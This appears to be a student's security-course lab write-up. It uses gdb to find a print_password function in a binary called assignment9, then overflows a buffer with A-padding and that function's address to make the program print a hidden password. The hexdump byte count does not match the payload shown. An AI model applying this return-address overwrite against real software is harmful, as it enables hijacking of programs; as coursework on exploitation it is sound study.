

과제 11/26

2315028 김성현

```
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
Downloading separate debug info for /home/kh15028/assignment9
(No debugging symbols found in assignment9)
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  __libc_start_main@plt
0x08049050  fgets@plt
0x08049060  puts@plt
0x08049070  fputs@plt
0x08049080  _start
0x080490c0  _dl_relocate_static_pie
0x080490d0  __x86.get_pc_thunk.bx
0x080490e0  deregister_tm_clones
0x08049120  register_tm_clones
0x08049170  __do_global_ctors_aux
0x080491a0  frame_dummy
0x080491a9  __x86.get_pc_thunk.dx
0x080491ad  print_password
0x080491c0  main
0x08049200  _fini
```

0x080491ad print_password

printf "AAAAAAAAAAAAAAAAAA\xad\x91\x04\x08" | hexdump -C

```
[kh15028@srv-adm-sec ~]$ printf "AAAAAAAAAAAAAAAAAA\xad\x91\x04\x08" | hexdump -C
00000000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAAAA|
00000010  ad 91 04 08                                         |....|
00000014
```

```
[kh15028@srv-adm-sec ~]$ printf "AAAAAAAAAAAAAAAAAA\xad\x91\x04\x08" | ./assignment9
AAAAAAAAAAAAAAAAAAThe password is "Happy Christmas".
Segmentation fault (core dumped)
```